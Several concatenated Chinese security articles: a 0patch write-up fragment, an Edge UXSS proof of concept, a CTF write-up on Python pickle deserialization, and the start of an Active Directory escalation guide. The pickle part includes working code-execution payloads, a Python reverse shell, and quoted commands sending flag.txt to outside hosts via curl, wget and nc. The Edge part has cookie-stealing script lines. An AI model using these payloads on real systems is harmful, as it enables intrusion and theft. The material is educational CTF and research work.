在循环中，补丁只有一个重要的修改，是上图灰色的cmp-jnz代码块。这就是补丁吗？目前为止，分析有限，还无法确定(rsp+var_9C)的比较是什么意思，但是很明显，通过新增的代码块能比老版本判断更精确。
现在唯一的方式就是调试了。因此我们启动WinDbg，并附加到notepad进程。我们设置3个断点。一个是有漏洞的MergeLigRecords，一个在ttoGetTableInfo调用之前，还有个在其之后。ttoGetTableInfo调用是有趣的，因为它有两个结构体参数TTOOutput和TTOInput。灰色中if块检查TTOOutput的属性（rsp+var_9C）是否为4，如果不匹配退出循环。因此我们感兴趣的是ttoGetTableInfo中rsp+var_9C是否改变了并且和MergeLigRecords中的崩溃有什么关系。在F5和点击PoC之前，我们还需要定位补丁版本中的rsp+var_9C属性。
我们看到，在老的LoadTTOArabicShapeTables中有个名为rsp+var_A4的引用（在下面的代码段中解析为@rsp+34）。
现在我们能观察我们的断点
在头两个中，var_A4的值是0004，没有改变。USP10!MergeLigRecords调用执行没有崩溃。
在第3个中，var_A4通过ttoGetTableInfo调用改变了，从0004变为了0001，并且MergeLigRecords崩溃了。
此时，我们得出结论，灰色的cmp-jnz块能阻止崩溃，因此我们找到了补丁。
**0x04 0patch补丁**
目前为止，我们合起来看，所有的内容都在上述灰色部分，下面是我制作的.0pp文件。
当把官方补丁转成0patch补丁时，我使用了[之前文中](https://0patch.blogspot.si/2017/02/0patching-0-day-windows-gdi32dll-memory.html)描述的"jump condition piggy-backing"技术。很方便，官方补丁是jnz退出有问题的循环，我们的0patch也是这个位置。我将它放在原始jnz前面。由于缺少空格（jnz只有2个字节，我们需要5字节跳转到我们的补丁代码），我不得不将它放于ttoGetTableInfo调用之前，0patch
Agent将使用5字节跳转代替。补丁的第一条指令是替换为原始的ttoGetTableInfo。接下来是来自官方补丁的检查。首先是var_A4和4比较以检查循环是否要继续，否则保存ttoGetTableInfo的结果的eax置为1，因此test
eax, eax会设置跳转标志（zf=0），jnz将退出循环。
在使用0patch
Builder编译了.0pp文件之后，补丁就可用了，PoC将不再崩溃。我们的团队测试了PoC.zip中的其他ttf文件，所有的都不会崩溃。然而，需要注意的是这个补丁只覆盖了在重现场景中的执行过程。LoadTTOArabicShapeTablesthere的比较中，有另一个jnz灰色块被添加到usp10.dll中，存在类似的循环。但是因为没有公开的PoC可以触发，在0patch中我们不会覆盖它。0patch的安全使用方式是覆盖测试完全的补丁。 | 社区文章 |
# 【技术分享】Microsoft Edge UXSS ——冒险在无尽的世界
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/uxss-edge-domainless-world/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[scriptkid](http://bobao.360.cn/member/contribute?uid=2529059652)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
今天我们将一起来围观下Microsoft
Edge存在的一些设计上的问题——当这些问题组合在一起时就会形成通用跨站脚本攻击（UXSS）。如果你想弄明白这个漏洞，但你又恰好不是安全研究员的话，你可以尝试这么理解：当你访问一个恶意站点时，攻击者可以获取你的cookie、更改你所看见的页面内容以及窃取你的个人信息等。除此之外，因为Microsoft
Edge使用受保护的[内部资源](https://www.brokenbrowser.com/spoof-addressbar-malware/)来实现某些特殊功能，攻击者也有获取这些资源和更改Edge配置的潜在可能。
此处提供两个演示视频：[导出bing的cookies](http://player.youku.com/embed/XMTg2NDYxMjgzMg==)和[篡改nature.com显示内容](http://player.youku.com/embed/XMTg2NDYxNjc4OA==)。需要注意的是，这两个网站本身是不存在问题的，漏洞纯粹是由Microsoft
Edge浏览器导致的。接下来我们一起看看这是怎么做到的。
导出bing的cookies
篡改nature.com显示内容
**Domainless World**
about:blank是一条很特殊的URL——经常让人为其所属域名感到困惑。我们来思考下以下问题：假如我们当前URL地址是www.magicmac.com/dom/index.html，那么毫无疑问document.domain的值应该为www.magicmac.com，但是如果把地址换成了about:blank呢？这就要看情况了。理论上来说，document.domain应该是取决于其referer的值。举个例子：我们在www.magicmac.com下点击了about:blank的链接，这时about:blank将使用www.magicmac.com作为其域名。
接着再举个iframe的src值显示指向about:blank或者为空时的例子：
因此，虽然从goodfellas.com加载的about:blank跟从evil.com加载的看起来很像（URL是一样的），但是它们却无法互相访问，因为它们的document.domain是不一样的。
那么问题来了，我们直接在地址栏中输入的about:blank的对应域名是啥？这是个很关键的问题，所以我将在DevTools中放大一点让你看得更清楚。
从图片可以看出，document.domain值是一个特殊的值——空值，接下来我们姑且称document.domain是空值的为"domainless"，同时，称不是空值的为"domained"，接下来的部分将是本文最重要的部分。
**domainless的about:blank将可以访问任意domained的about:blank**
换句话说就是，domainless的about:blank可以无视任何限制对domained的about:blank进行访问，下面我们通过控制台快速添加个指向bing.com的iframe进行简单演示。
document.body.innerHTML = '<iframe src="http://www.bing.com/images/search?q=microsoft+edge"></iframe>'
现在我们成功在顶层的domainless blank中嵌入了一个指向bing.com的frame，不过我们的目标是找到一个bing内部的blank
iframe，因为我们说的是domainless blank（这里是主窗口）能够对domained
blank（这里是bing.com中的指向blank的iframe）进行存取。当然，在这个例子中我们很容易就能做到，因为bing.com中已经存在了blank
iframes。不管怎样，我们都动手尝试下。正常情况下，下面的命令即使是在debugger中依旧会抛出access
denied的错误，但是因为这里的top是domainless，所以我们这里成功执行了，见下图。
window[0][0].location.href = "javascript:alert(parent.document.domain)";
当然，你可能会觉得这没什么，因为我们是在DevTools中做到的。但是，我却认为这是最重要的，因为如果我们抓住了这个要点，那么寻找新的UXSS漏洞将在一定程度上变得简单。现在，我们只要找到能够对domainless
blank（通常是about:blank，但我们也可以使用其他方式）进行存取的方式，我们就找到了UXSS漏洞。前面之所以会在DevTools下进行是因为要确保能够完全理解我们所做的一切，而事实上我们并不需要DevTools!
**无需DevTools的独立POC**
接下来我们就开始吧！我们需要找到一种创建在常规web页面中创建可访问的domainless站点，最简单的就是通过data:URI来取代about:blank。这里需要注意的是，当我们在iframe里面加载data:URI时，它的domain值将与referer的一致（跟我们前面提到的about:blank一样），而如果我们尝试在最顶层加载data:URI，Edge将会拒绝访问并扔给我们一个错误页。
不过，我们有一些小技巧可以用来获取domainless的data:URI，这里我们将通过一个非常简单的Flash来实现。事实上，我从2005年开始就在使用这个Flash，所做的仅仅是通过请求字符串来设置URL。
<iframe src="geturl.swf?target=_top&redir=data:,[html/script goes here]"></iframe>
看，就是这么简单！只需要将你需要加载的URL添加到参数redir后面就行了。在这个例子中，我们使用的是data:URI，当然，为了欺骗Edge，我们需要在iframe内部加载swf文件，否则会出现错误。顺便提一下，我们还可以使用其他方式来达到同样的目的，我们之所以使用这个方法纯粹是因为这是我们发现的第一种方式。Adobe的小伙伴多半会通过[将data:uri加入黑名单来帮助Edge的小伙伴解决这个bug](https://www.brokenbrowser.com/on-patching-security-bugs/)，然而，我们还可以通过不需要flash文件的其他多种途径来达到同样的目的。
由于我们现在处于domainless窗口下，我们可以注入一个指向bing.com的iframe，而Edge却无法正确渲染页面元素。如果我们尝试使用createElement/insertAdjacentHtml等方法，Edge将生成一个无法使用的iframe，就如一辆汽车没有发动机一样。为了解决这个问题，我们将使用document.write重写来强制使浏览器重新渲染整个页面。由于我们是处于domainless状态的URL下，document.write将会使我们保持在相同的domain下。
document.write('<iframe src="http://www.bing.com/images"></iframe>');
Perfect！现在我们可以对bing的blank iframe进行访问了，但是要记住我们是非常幸运的，因为不是所有的站点都会自带blank iframe。
window[0][0].location.href = "javascript:alert(parent.document.cookie)";
**Owning non-cooperative sites**
你可能会觉得是因为bing为我们提供了许多的blank iframe所以才能那么轻松地取得成功，好吧，没错，大部分网站正常情况下是不会为我们放置好blank
iframe的，所以我们需要再进一步深入。回头再看下我们前面提到的第二步，假设我们的iframe正确渲染但是指向了nature.com（nature不存在blank
iframe），这时如果我们尝试去修改iframe的location，Edge将会拒绝访问并新开一个窗口来代替，也就是说，执行以下内容是没有什么卵用的。
// We are inside a domainless data: so Edge will open a new// window instead of changing nature-iframe's locationwindow[0][0].location.href = "about:blank";
上述代码并不起作用，也许存在一些方式可以绕过，但是我已经懒得再去尝试了。这确实是一个问题，但是我们可以通过新开一个带正常URL的窗口来解决，以下为具体步骤：
1、打开一个带指向nature.com的frame的新窗口
2、修改nature的内部iframe的location为about:blank，这样我们就可以对其命名，没错，就是要给iframe命名
3、为指向about:blank的iframe命名，这样我们的新开窗口就可以通过window.open来对其进行访问。不要忘了，我们现在处于一个正常的URL内部的窗口中，真正能做到的是我们的新开页。我们将通过如window.name=“DAVID_COPPERFIELD”来对iframe进行命名
4、现在我们应该修改nature的location为about:blank了。我们将通过meta-refresh来修改location，这个小技巧用于确保父层的domain被修改为about:blank
5、最后就是告诉新开页一切准备就绪可以行动了，就像这样：
window.open(“javascript:alert(document.domain)”, “DAVID_COPPERFIELD”);
**总结**
我们又一次成功了！POC都是交互性的因此我们可以很清楚自己每一步都做了什么。但是，请认真阅读并理解代码中的一些细节部分，我相信还有很多可以提升的地方。最后附上所有你可能需要的[文件](https://goo.gl/a1cvXI)。 | 社区文章 |
[buuctf](https://buuoj.cn)前段时间上了一道[python
反序列化的题目](https://buuoj.cn/challenges#\[watevrCTF-2019\]Pickle%20Store)，花了两天时间研究了一下，发现了两种解法，学习了一波python反序列化的知识，踩了一些坑，来和各位师傅分享一下吧。
# 题目
界面是ctf常见的购物类web，不过这次的主角变成黄瓜:-D，我们需要的flag黄瓜价值1000元，但我们口袋里只有500块，我们的余额、购物信息存储在cookie中
随便将cookie的值删掉几个字符，刷新一下，结果返回500错误
显然，服务端采用了某种加密方式来对cookie做了加密或签名，起初我以为是padding
oracle，直到看到burpsuite里的python序列化数据报警：
那么将cookie的值用下列代码反序列化显示出来：
#coding:utf8
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)
得到结果：
{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}
这是没有购买商品时的信息，如果购买了一个Standard Pickle，cookie经反序列化后信息是这样的：
{'money': 490, 'history': ['Yummy standard pickle'], 'anti_tamper_hmac': '5f6fdeafc711cbcec80c8453067012a9'}
可见其中带上了hmac验证。猜想本题应该与python反序列化有关，先来学习一波python反序列化知识，当然大佬可以跳过。
# python反序列化简介与利用
相较于php的反序列化，python的反序列化更容易利用，危害也更大。在php的反序列化漏洞利用中我们必须挖掘复杂的利用链，但python的序列化和反序列化中却不需要那么麻烦，因为python序列化出来的是pickle流，这是一种栈语言，python能够实现的功能它也能实现，引用一下pickle的简介：
> pickle 是一种栈语言，有不同的编写方式，基于一个轻量的 PVM（Pickle Virtual Machine）。
> PVM 由三部分组成：
> **指令处理器**
> 从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 . 这个结束符后停止。
> 最终留在栈顶的值将被作为反序列化对象返回。
> **stack**
> 由 Python 的 list 实现，被用来临时存储数据、参数以及对象。
> **memo**
> 由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储。
来看一些示例：
先来看看一些简单类型的数据序列化后的样子:
import pickle
s = "abcd"
print(pickle.dumps(s))
在python2.7.15下运行该脚本的输出如下：
S'abcd'
p0
.
在python3.7.3下运行该脚本的输出如下：
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
是不是很不一样，这是因为python2和python3实现的pickle协议版本不一样，python3实现的版本是第三版，其序列化后的bytes序列第二个字符即\x03就表示它的pickle版本为第三版。各个不同的版本实现的PVM操作码不同，但却是向下兼容的，比如上面python2序列化输出的字符串可以放在python3里正常反序列化，但python3序列化输出的字符串却不能让python2反序列化，下面代码可以验证这一点：
import pickle
s = b"S'abcd'\np0\n."
print(pickle.loads(s))
用python3运行该代码，可以正常输出`abcd`
不同pickle版本的操作码及其含义可以在python3的安装目录里搜索pickle.py查看，如下是一部分操作码：
强烈建议对PVM操作码不熟悉的同学打开这个文件边看边学，我就是这么学的。
因为本题使用的是py3，所以下面的讲解主要结合py3进行，详细解释一下上面py3输出的pickle流
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
第一个字符\x80是一个操作码，pickle.py文件中的注释说明它的含义是用来声明pickle版本，后面跟着的\x03就代表了版本3；随后的X表示后面的四个字节代表了一个数字（小端序），即\x04\x00\x00\x00,值为4，表示下面跟着的utf8编码的字符串的长度，即后面跟着的abcd;再往后是q,这个没有查到详细的说明，看注释上的字面意思是后面即\x00是一个字节的参数，但也不知道这个有什么用，我猜测它是用来给参数做索引用的，索引存储在momo区，如果不需要用到取数据，可以把q\x00删掉，这并不影响反序列化，最后的.代表结束，这是每个pickle流末尾都会有的操作符。
来看看复杂类型的数据序列化后是什么样的：
a=("item1","item2")
b=["item1","item2"]
c={"key1":"value1","key2":"value2"}
print(pickle.dumps(a))
print(pickle.dumps(b))
print(pickle.dumps(c))
结果：
b'\x80\x03X\x05\x00\x00\x00item1q\x00X\x05\x00\x00\x00item2q\x01\x86q\x02.'
b'\x80\x03]q\x00(X\x05\x00\x00\x00item1q\x01X\x05\x00\x00\x00item2q\x02e.'
b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01X\x06\x00\x00\x00value1q\x02X\x04\x00\x00\x00key2q\x03X\x06\x00\x00\x00value2q\x04u.'
先来看tuple的pickle流，在栈上连续定义了两个字符串最后在结尾加了\x86这个操作码，其含义为"利用栈顶的两个元素（即前面的item1和item2）建立一个元组"，后面的q\x02标识该元组在memo的索引，最后是`.`结束符。
再看list的pickle流，在版本声明的后面是一个]操作符，意思是在栈上建立一个空list，q\x00是这个列表在memo的索引，后面是一个`(`,这是一个很重要的操作符，它用来标记后面某个操作的参数的边界，在这里其实是用来告诉末尾的`e`（建立list的操作符），从`(`开始到`e`操作符前面的内容用来构建list，`(`标记前面的内容就不归e操作符管了。最后是.结束符。
最后来看dict的pickle流，在版本声明的后面是一个`}`,表示在栈上建立一个空dict，q\x00表明了这个dict在memo区的索引，后面同样是`(`标记,后面按照先key后value的属性依次定义数据，并给每个数据定好memo区的索引，最后是`u`操作符，类似于上面的`e`操作符，它的含义为利用`(`标记到`u`之间的数据构建dict，最后是`.`操作符。
再来一个类吧：
class D:
a = 'abcd'
def hello(self):
return 'hello'
d = D()
print(pickle.dumps(d))
输出：
b'\x80\x03c__main__\nD\nq\x00)\x81q\x01.'
注意版本声明后面是`c`操作符,它用来导入模块中的标识符，模块和标识符之间用\n隔开，那么这里的意思就是导入了 **main**
模块中的D类，后面的q\x00代表了D类在memo的索引，随后是`)`在栈上建立一个新的tuple，这个tuple存储的是新建对象时需要提供的参数，因为本例中不需要参数，所以这个tuple为空，后面是\x81操作符，该操作符调用`cls.__new__`方法来建立对象，该方法接受前面tuple中的参数，本例中为空，注意对象的pickle流中并没有存储对象的数据及方法，而只是存储了建立对象的过程，这和上面的数据类型不太一样。
上面介绍的都是一些数据类型的pickle流，之前说过pickle流能实现python所有的功能，那么怎么才能让pickle流在反序列化中运行任意代码呢，这里就要介绍类的`__reduce__`这个魔术方法,简单来说，这个方法用来表明类的对象应当如何序列化，当其返回tuple类型时就可以实现任意代码执行，例如下面的例子：
import pickle
import os
class A(object):
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
在linux上用python3运行该脚本，输出：
b'\x80\x03cposix\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
并执行了whoami命令。
来细看一下这个pickle流，在声明版本后使用`c`操作符导入了posix模块中的system函数，posix模块是os模块在linux上的具体实现，随后是q\x00,标识system函数在memo区的索引，X\x06\x00\x00\x00标识后面whoami这个字符串的长度,q\x01标识whoami这个字符串在memo区的索引,\x85建立1个元素的元组，这个元素当然就是前面的whoami这个字符串，q\x02标识了这个元组在memo区的索引，`R`操作符标识运行栈顶的函数，就是前面的system，并把包含whoami的元组当做参数传递给它，后面的q\x03标识了运行的结果在memo区的索引？我不确定，但这并不重要，我们执行任意命令的目的已经达到了，最后是`.`结束符。
再来一个反弹shell的：
import pickle
import os
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
在本地nc监听1234端口，python3运行该脚本，反弹成功：
输出的pickle流：
b'\x80\x03cposix\nsystem\nq\x00X\xe1\x00\x00\x00python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'q\x01\x85q\x02Rq\x03.'
这次除了参数的长度比较长外，pickle流的结构和上一个例子是一样，就不说了。
说到这里顺便一提，涉及到调用操作系统命令的库的话，不同的平台上序列化出来的pickle流是不一样的，例如上一个脚本在windows上运行的话，输出就是：
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
这里导入的就是windows上os库的具体实现nt库，而不是linux上的posix库了，所以建议师傅们根据目标平台选择本地环境构造pickle流，防止出现无法运行系统命令的问题，我就在这点上踩了坑。
上面啰嗦了那么多，只是为了加深大家对pickle流的理解，其实在实际利用过程中，大部分情况下不需要我们手动构造pickle流，我们只需要掌握一些基本的技巧即可，来看题目吧。
# 解法一：执行系统命令
对于本地，反弹shell是最简单粗暴的方法，不需要考虑细节，只需要将上面的payload改一改接收shell的地址，把输出的pickle流编码为base64，放入cookie发送即可，然而我并没有成功。。。我猜测可能是bash权限做了限制。后来和几位师傅交流了一下，抄了一下几位师傅的exp，成功了，向大家介绍一下：
P3rh4ps师傅的：
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
直接上传了flag.txt
ch4ser师傅的：
import os
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))
这里用到了buuctf的xss平台。
ice-cream师傅的：
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc 174.0.166.111 2333 < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))
使用nc。
这里提醒一下不熟悉buuctf平台的师傅，buu的靶机不能反弹到外网，但是在<https://buuoj.cn/challenges#Linux%20Labs>
提供了可接受反弹的内网靶机，可以注册一个小号去开一个靶机接受信息。
总结一下几位师傅的exp都用到了系统命令执行以及信息外带，假如目标环境只能在web端口向外界提供信息或限制了系统命令执行，有没有办法呢，经过一天的研究，我发现是有办法的，下面来介绍解法二。
# 解法二：覆盖key并伪造cookie
在介绍解法二之前，先提一个问题，假如py脚本中已经定义了一个变量key，而反序列化的pickle流中包含了给key赋值的操作，那么反序列化后key的值会被覆盖吗，我们来验证一下：
import pickle
key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("key=b'66666666666666666666666666666666'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)
输出：
b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'
可见key的值被成功覆盖了！来看本题的源码，情况是类似的，同样也定义了key，
用该key去给cookie做了签名，也存在反序列化数据可控，
@application.route("/buy", methods=["POST"])
def buy():
cookies = request.cookies.get("session")
if not cookies:
cookies = {"money": 500, "history": []}
else:
cookies = pickle.loads(base64.b64decode(cookies)) #这里可以利用反序列化覆盖key
digest = cookies["anti_tamper_hmac"]
del cookies["anti_tamper_hmac"]
h = hmac.new(key)
h.update(str(cookies).encode())
if not hmac.compare_digest(h.digest().hex(), digest):
cookies = {"money": 500, "history": []}
assert "id" in request.form
cookie_id = int(request.form["id"])
if all_cookies[cookie_id]["price"] <= cookies["money"]:
cookies["money"] -= all_cookies[cookie_id]["price"]
cookies["history"].append(all_cookies[cookie_id]["text"])
resp = make_response(redirect("/"))
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
resp.set_cookie("session", base64.b64encode(pickle.dumps(cookies)))
return resp
那么如果我们利用反序列化覆盖掉key，那么不就可以任意伪造cookie了吗？题目[代码](https://github.com/wat3vr/watevrCTF-2019/blob/master/challenges/web/pickle%20store/container/server.py)
然而当我在本地搭建此题的环境做测试时，却发现用上面的payload无法覆盖flask中key，想了很多办法几乎要放弃了，起初我以为是flask的实现比较特殊，睡了个午觉起来想想，猛然意识到flask中定义的key是全局变量，而反序列化操作却是在buy函数内部进行的，要使函数内的变量要覆盖全局变量的值，必须加global声明，所以修改上面的payload：
import pickle
key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("global key;key=b'66666666666666666666666666666666'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)
输出的pickle流：
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
再将输出的pickle流base64编码后发送给本地flask环境，key果然被成功覆盖了(调试的话可以在index或buy路由的反序列化代码后添加print(key)即可在flask服务端打印出key）:
那么下一步就是用覆盖的key伪造cookie了，这次不需要用到调用函数，只需要把伪造的cookie序列化出来就可以了，所以用不到`__reduce__`了：
import pickle
import hmac
key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)
这里把余额设置为10000，并用我们自己的key来给cookie做签名，得到的pickle流：
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
然后问题就来了，由于我们覆盖的key只能在本次请求中生效，所以我们伪造的cookie也必须在覆盖key的请求中一起发送过去，覆盖key的payload我们是使用`__reduce__`方式生成的，而伪造cookie的操作我们是直接序列化cookie生成的，怎么把这两个操作合并起来呢，这个payload应该怎么写呢，其实很简单，依据上面对pickle流的介绍：最终留在栈顶的值将被作为反序列化对象返回。所以我们只需要把第一个pickle流结尾表示结束的.去掉，把第二个pickle开头的版本声明去掉，两者拼接起来即可：
第一个pickle流：
`b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key =
b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."`
第二个pickle流：
`b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X
\x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."`
按所说方法拼接：
`b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key =
b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X
\x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."`
base64编码后，抓下购买flag的包，修改其中的cookie发送：
将返回的cookie反序列化：
import pickle
import base64
print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))
输出flag：
或许有师傅会问，如果把定义cookie的语句也放到第一个exp的`__reduce__`中行不行？其实是不行的，因为采用`__reduce__`方式生成的pickle流在反序列化时返回的是None，而不是本题中我们需要的dict，后面的代码将会出错。
# 总结
对于本题虽然第二种解法比第一种麻烦了许多，但其优势在于不需要用到OOB，可以适应限制更苛刻的比赛环境，更何况另辟蹊径解决问题不正是hacker的最大乐趣吗？
对于本文，虽然水出来了，还是有一些不太严谨的地方，主要在于没有找到可以调试pickle栈的工具，很多地方只能一点点摸索，有些地方是凭经验凭直觉猜的，如有错误希望各位师傅不要见怪，多多指点我。如果觉得对pickle流的介绍不够形象，可以看看这个
<https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf，>
上面对pickle栈的演示更加形象。 | 社区文章 |
# 【技术分享】在域中获取域管理员权限的多种方法及一些缓解措施
|
##### 译文声明
本文是翻译文章，文章来源：adsecurity
原文地址：<https://adsecurity.org/?p=2362>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
现在攻击者有很多方法可以用来获取域管理员权限.这篇文章的目的是介绍一些当前较受欢迎的方式。这里所介绍的技术的基本点是攻击者已经拿到了一台域中的服务器，并已获得域用户凭据。
对大多数企业来说有一个不幸的现实:对于一个攻击者来说,从域用户权限提升到域管理员权限往往不需要太长的时间。为什么会这样呢?本文会介绍其中使用的一些技巧.
现在针对一个企业,组织的攻击越来越频繁通过一些钓鱼手法来开始.比如通过发送大量的钓鱼邮件给目标的成员来在目标网络的机器上执行代码.一旦攻击者能够在企业内部网络中执行代码,攻击者要做的第一件事情就是尽可能的搜集有用的信息,比如网络拓扑,一些配置文件,账号密码等等,然后使用这些信息来提升权限,维持访问,最后当然是最重要的一步,获取目标的核心数据.虽然具体到每次的攻击可能其攻击的具体细节不同,但是他们一般都会有以下的几个大步骤:
恶意代码执行(通过钓鱼, web方面的攻击等等)
内网信息探测
窃取内网用户的凭据
利用各种信息,exploit等进行提权
拿到数据并外传
持久化(植入后门)
本文所介绍的各种域渗透的技巧都是基于攻击者已经拿到了一台域内服务器的权限,这是因为在现代的网络环境下这一般都不是太困难.
**在域中获取域管理员权限的多种方法**
**1.在SYSVOL和组策略首选项中保存的密码**
该方法是最简单的，因为不需要特别的“黑客”的工具。所有攻击者所要做的就是打开Windows资源管理器 然后 搜索域SYSVOL
DFS共享的XML文件。大多数时候，下面的XML文件将包含凭据：groups.xml，scheduledtasks.xml，与services.xml。
SYSVOL是域中针对所有已被认证过的具有读取权限的用户的共享。SYSVOL包含登录脚本，组策略的数据，以及其他需要被域控制器访问的数据。所有域组策略都存储在这里：
\<DOMAIN>SYSVOL<DOMAIN>Policies
当创建一个新的GPP时，有在SYSVOL中会创建一个相关联的XML文件 ,其内容为相关配置数据并且如果为GPP提供了密码，密码会被AES-256
加密.但是微软在MSDN上发布的AES加密密钥可用于解密它。又由于在受信任域中的任何域用户或用户都对SYSVOL具有读取访问权限，所以任何域中的用户都可以在SYSVOL共享搜索包含“cpassword”的XML文件.一个示例文件如下:
攻击者在访问该XML文件后，可以使用AES私钥来解密文件中加密的GPP密码。除此之外,我们可以使用PowerSploit其中的一个功能 Get-GPPPassword来解密那个被加密的秘钥。下面是一个使用示例
当然其他文件类型也可能会包含一些密码（通常是明文），如VBS和bat文件中,这就需要我们做好信息搜集了.
你可能会认为只要打上一个防止管理员在Group Policy
Preferences中放置凭证的补丁就能够解决这个问题，但我在对客户进行安全评估的时候依旧会在SYSVOL中搜索凭据。
解决方案：
在每台计算机上安装KB2962486补丁来管理管理GPO以防止在Group Policy Preferences中放置新的凭据
删除现有的包含SYSVOL密码的GPP XML文件。
不要将密码保存在所有经过验证的用户都可以访问的文件中。
关于这种攻击的的更多信息可以在这篇文章中找到: [Finding Passwords in SYSVOL & Exploiting Group Policy
Preferences.](https://adsecurity.org/?p=2288)
**2.在没打补丁的域控制器上利用MS14-068漏洞**
虽然这个漏洞已经过了很久了,但是这并不意味着所有的域控制器都已经打上了补丁。大多数组织在该漏洞爆出来后都为域控制器打上了补丁但这并不意味着之后的每一台新的的域控制器也都被打上了补丁.
感谢Gavin Millard（@gmillard在Twitter上），我们有一个比较好的图来诠释这个漏洞
简单地说，利用MS14-068漏洞,只需不到5分钟就能使攻击者重新写一个有效的Kerberos
TGT身份验证票据，使他们可以直接获取域管理员权限。如上图所示，只要在一张普通的机票上写上“飞行员”,然后在登机，你就可以享受飞行员的待遇了……
首次公布的针对MS14-068漏洞的exploit 在漏洞补丁被发布的第二个星期被发布.该exploit由Sylvain Monné (@BiDOrD)
编写,exploit的名字为PyKEK。PyKEK是一个可以运行在任何支持python并且能与域控制器交互的机器上的python脚本.脚本执行完毕后会生成一个ccache文件。然后使用Mimikatz把刚才PyKEK生成的ccache文件注入TGT到内存中,攻击者就可以拿到一个可以被当做域管理员的票据了！使用这张票据，攻击者就可以访问域控制器上的admin$
共享了.下面是整个利用过程.
**缓解：**
打上补丁.
利用MS14-068漏洞的过程：
